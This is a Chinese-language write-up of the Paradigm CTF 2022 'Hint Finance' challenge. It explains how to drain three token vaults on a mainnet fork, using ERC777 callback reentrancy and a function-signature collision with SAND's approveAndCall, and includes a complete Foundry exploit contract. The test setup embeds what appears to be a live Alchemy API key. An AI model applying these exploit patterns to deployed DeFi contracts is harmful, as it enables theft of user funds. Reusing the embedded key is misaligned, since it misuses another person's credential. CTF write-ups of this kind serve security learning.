zl程序教程

您现在的位置是:首页 >  其它

当前栏目

paradigm ctf 2022 - Hint finance

2022 CTF Hint
2023-06-13 09:14:41 时间

本文作者:bixia1994[1]

Hint finance

题目要求

function isSolved() public view returns (bool) {
        for (uint256 i = 0; i < underlyingTokens.length; ++i) {
            address vault = hintFinanceFactory.underlyingToVault(underlyingTokens[i]);
            uint256 vaultUnderlyingBalance = ERC20Like(underlyingTokens[i]).balanceOf(vault);
            if (vaultUnderlyingBalance > initialUnderlyingBalances[i] / 100) {
                return false;
            }
        }
        return true;
    }

题目分析

这是一个主网的 fork,三个 underlying token 分别是:PNT,SAND,AMP;其中,PNT 和 AMP 都是 777 token,在 transfer 之前和之后都有 callback 回掉。而 SAND token 是一个 ERC20 Token。可以访问这个链接[2]查看具体的 777 标准。简单概括,该标准要求 ERC777 token 的发送方和接受方要到 EIP-1820 这个地址上进行注册,注册时,需要调用setInterfaceImplementer方法,传入需要注册的 key 和 address;

EIP1820Like(EIP1820).setInterfaceImplementer(
            address(this), keccak256("AmpTokensRecipient"), address(this)
);
EIP1820Like(EIP1820).setInterfaceImplementer(
    address(this), keccak256("ERC777TokensRecipient"), address(this)
);

ERC777 token 会在 transfer 里面,分别去判断一下:

function transferFrom(address holder, address recipient, uint256 amount) public virtual override returns (bool) {
        require(recipient != address(0), "ERC777: transfer to the zero address");
        require(holder != address(0), "ERC777: transfer from the zero address");

        address spender = _msgSender();

        _callTokensToSend(spender, holder, recipient, amount, "", "");

        _move(spender, holder, recipient, amount, "", "");
        _approve(holder, spender, _allowances[holder][spender].sub(amount, "ERC777: transfer amount exceeds allowance"));

        _callTokensReceived(spender, holder, recipient, amount, "", "", false);

        return true;
    }

其中的_callTokensToSend就是 from 地址的 callback,_callTokensReceived就是 to 地址的 callback;

针对 ERC777 token 的解题思路

因为 777 token 有 callback,而观察depositwithdraw函数都没有nonReentrant这一个限制,所以最先想到的是通过重入的方式来做尝试。然后,进一步分析 withdraw 函数,可以看到其并不符合check-effect-intreact模式,在 token 的转账这一个外部调用之后,还有账本的更改。所以我们可以利用这一点,即在转账过程中,账本保持原样,这里是 totalSupply 这个值还是原始值。然后重入到 deposit 函数中,可以看到 share 的计算中,其计算公式如下:

share = amount \times \frac{totalSupply}{balance}

由于已经发生了 tranfer,balance 会降低,然后 totalSupply 此时还没有更新,所以 totalSupply 保持不变。从而是的我们的 share 会比正常情况下,大很多倍。当重入到 deposit 中的大很多的 share 后,在回到 withdraw 里继续执行,扣除一小部分 share,这样我们通过这次重入可以拿到整个 vault 的绝大部分 share。此时,我们可以再次调用 withdraw 函数,走正常的函数调用逻辑,不重入,取出所有的 share 对应的 token,这样就满足题意。如下所示:

function start2() public {
    uint256 share = HintFinanceVault(vault).totalSupply();
    emit log_named_uint("init share", share);
    prevAmount = (share - 1);
    HintFinanceVault(vault).withdraw(share - 1);
    HintFinanceVault(vault).withdraw(HintFinanceVault(vault).balanceOf(address(this)));
    emit log_named_uint("token left", ERC20Like(token).balanceOf(address(vault)));
}

针对 Sand token 的解题思路

Sand token 是一个普通的 ERC20 合约,故其无法通过类似于 777 的 callback 来完成 hack,需要进一步查看 sand token 的合约逻辑。从 Sand 的合约中,我们注意到这样的一个函数:

function approveAndCall(
        address target,
        uint256 amount,
        bytes calldata data
    ) external payable returns (bytes memory) {
        require(
            BytesUtil.doFirstParamEqualsAddress(data, msg.sender),
            "first param != sender"
        );

        _approveFor(msg.sender, target, amount);

        // solium-disable-next-line security/no-call-value
        (bool success, bytes memory returnData) = target.call.value(msg.value)(data);
        require(success, string(returnData));
        return returnData;
    }

这个函数不是 EIP20 的标准函数。另外我们在 Vault 合约里,也注意到一个 flashloan 函数,该 flashloan 函数同样也没有nonReentrant,并且该 flashloan 的一个 callback 函数是:

function onHintFinanceFlashloan(
        address token,
        address factory,
        uint256 amount,
        bool isUnderlyingOrReward,
        bytes memory data
    ) external;

针对 ERC20,有一种常见的攻击模式,即想办法使得 token 的 owner 给 hacker 进行 approve 操作,通常这是一种钓鱼手法,但是在很多支持 flashloan 的合约中,可以让合约来给我进行 approve。这样就可以在满足 flashloan 的前提下,即不直接拿走 vault 的 token,但是让其对 hacker 进行 approve 了。所以这里的思路是,如何让 vault 合约作为 msg.sender,调用 token 合约的 approve 方法。可以利用 flashloan 的 callback 来实现,但是该 callback 的函数方法写死了,是onHintFinanceFlashloan,并不是一个可以任意传的值,即不是address(caller).call(data)但是同时注意到,函数onHintFinanceFlashloan和函数approveAndCall有着相同的函数签名,那么就可以利用这种方式。但是在具体的编写过程中,需要注意到如何正确的对 calldata 进行编码:

针对 calldata 进行编码时,要由外到内,首先编码出 approveAndCall 中传入的 data,这个 data 是调用 flashloan 的 calldata,即 data 要满足lashloan(address token, uint256 amount, bytes calldata data)这个函数;则,data = abi.encodeWithSelector(HintFinanceVault.flashloan.selector, address(this), amount, innerData)然后,在来查看 innerData 的编码方式,他需要同时满足onHintFinanceFlashloanapproveAndCall两个函数;将两个函数的参数对齐如下:

address target          address token                       0x20
uint256 amountLeft      address factory                     0x40
0xa0                    uint256 amountRight                 0x60
0                       bool isUnderlying                   0x80
bytes memory innerdata  bytes memory data                   0xa0

所以根据 approveAndCall 的执行逻辑,即 innerdata 的第一个参数是 msg.sender. 因为这里是 Vault 调用的 approveAndCall,所以第一个参数应该是 address(vault)。第二个参数是由 flashlaon 合约指定的,为 address(factory), 即:target = vault, amountLeft = uint256(factory) 这里需要明确 innerdata 的占位符,即 amountRight 的值, 这里为保证符合approveAndCall的要求,即第三个参数是一个 bytes memory。另外需要注意到,calldata 的 length 也必须要合法,上面的 len 应该是: 0x20 * 5 + len(balanceOf), 所以需要额外在 balanceOf 里面,加上 0;注意到这里的 innerdata,会在 approveAndCall 里再次调用,所以 innerdata 必须是一个合法的 calldata.

    function start3() public {
        uint256 amount = 0xa0;
        bytes memory innerData =
            abi.encodeWithSelector(ERC20Like.balanceOf.selector, address(vault), 0);
        bytes memory data = abi.encodeWithSelector(
            HintFinanceVault.flashloan.selector, address(this), amount, innerData
        );
        SandLike(token).approveAndCall(vault, amount, data);
        ERC20Like(token).transferFrom(vault, address(this), ERC20Like(token).balanceOf(vault));
        emit log_named_uint("token left 3", ERC20Like(token).balanceOf(address(vault)));
    }

POC

pragma solidity 0.8.16;

import "ds-test/test.sol";
import "forge-std/stdlib.sol";
import "forge-std/Vm.sol";

contract Addrs is DSTest, stdCheats {
    address[3] public underlyingTokens = [
        0x89Ab32156e46F46D02ade3FEcbe5Fc4243B9AAeD,
        ///PNT 777
        0x3845badAde8e6dFF049820680d1F14bD3903a5d0,
        ///SAND
        0xfF20817765cB7f73d4bde2e66e067E58D11095C2
        ///AMP 777
    ];
    address public EIP1820 = 0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24;
}

interface EIP1820Like {
    function setInterfaceImplementer(address account, bytes32 interfaceHash, address implementer)
        external;
}

interface SandLike {
    function approveAndCall(address target, uint256 amount, bytes calldata data) external;
}

contract Hack is Addrs {
    HintFinanceFactory public hintFinanceFactory;
    address[3] public vaults;
    uint256 public prevAmount;
    address public vault;
    address public token;

    constructor(HintFinanceFactory _hintFinanceFactory) {
        hintFinanceFactory = _hintFinanceFactory;
        for (uint256 i = 0; i < 3; i++) {
            vaults[i] = hintFinanceFactory.underlyingToVault(underlyingTokens[i]);
            ERC20Like(underlyingTokens[i]).approve(vaults[i], type(uint256).max);
        }

        EIP1820Like(EIP1820).setInterfaceImplementer(
            address(this), keccak256("AmpTokensRecipient"), address(this)
        );
        EIP1820Like(EIP1820).setInterfaceImplementer(
            address(this), keccak256("ERC777TokensRecipient"), address(this)
        );
    }

    function start() public {
        vault = vaults[0];
        token = underlyingTokens[0];
        start2();
        vault = vaults[2];
        token = underlyingTokens[2];
        start2();
        vault = vaults[1];
        token = underlyingTokens[1];
        start3();
    }

    function start3() public {
        uint256 amount = 0xa0;
        bytes memory innerData =
            abi.encodeWithSelector(ERC20Like.balanceOf.selector, address(vault), 0);
        bytes memory data = abi.encodeWithSelector(
            HintFinanceVault.flashloan.selector, address(this), amount, innerData
        );
        SandLike(token).approveAndCall(vault, amount, data);
        ERC20Like(token).transferFrom(vault, address(this), ERC20Like(token).balanceOf(vault));
        emit log_named_uint("token left 3", ERC20Like(token).balanceOf(address(vault)));
    }

    function transfer(address, uint256) external returns (bool) {
        return true;
    }

    function balanceOf(address) external view returns (uint256) {
        return 1 ether;
    }

    function start2() public {
        uint256 share = HintFinanceVault(vault).totalSupply();
        emit log_named_uint("init share", share);
        prevAmount = (share - 1);
        HintFinanceVault(vault).withdraw(share - 1);
        HintFinanceVault(vault).withdraw(HintFinanceVault(vault).balanceOf(address(this)));
        emit log_named_uint("token left", ERC20Like(token).balanceOf(address(vault)));
    }

    function tokensReceived(
        address operator,
        address from,
        address to,
        uint256 amount,
        bytes calldata userData,
        bytes calldata operatorData
    )
        external
    {
        if (amount == prevAmount) {
            emit log_named_uint("amount", amount);
            uint256 share = HintFinanceVault(vault).deposit(amount / 2);
            emit log_named_uint("share", share);
        }
    }

    function tokensReceived(
        bytes4 functionSig,
        bytes32 partition,
        address operator,
        address from,
        address to,
        uint256 value,
        bytes calldata data,
        bytes calldata operatorData
    )
        external
    {
        if (value == prevAmount) {
            emit log_named_uint("amount", value);
            uint256 share = HintFinanceVault(vault).deposit(value / 2);
            emit log_named_uint("share", share);
        }
    }

    function tokensToSend(
        address operator,
        address from,
        address to,
        uint256 amount,
        bytes calldata userData,
        bytes calldata operatorData
    )
        external
    {}
}

import "./public/contracts/Setup.sol";

contract POC is Addrs {
    Hack public hack;
    Vm public vm = Vm(HEVM_ADDRESS);
    Setup public setUpInstance;
    HintFinanceFactory public hintFinanceFactory;

    function setUp() public {
        vm.createSelectFork(
            "https://eth-mainnet.alchemyapi.io/v2/7Brn0mxZnlMWbHf0yqAEicmsgKdLJGmA", 15409399
        );
        setUpInstance = new Setup{value: 1000 ether}();
        hintFinanceFactory = setUpInstance.hintFinanceFactory();
        hack = new Hack(hintFinanceFactory);
    }

    function test_Start() public {
        hack.start();
    }

    function _test_Start2() public {
        hack.start2();
    }
}

参考资料

[1]

bixia1994: https://learnblockchain.cn/people/3295

[2]

这个链接: https://eips.ethereum.org/EIPS/eip-777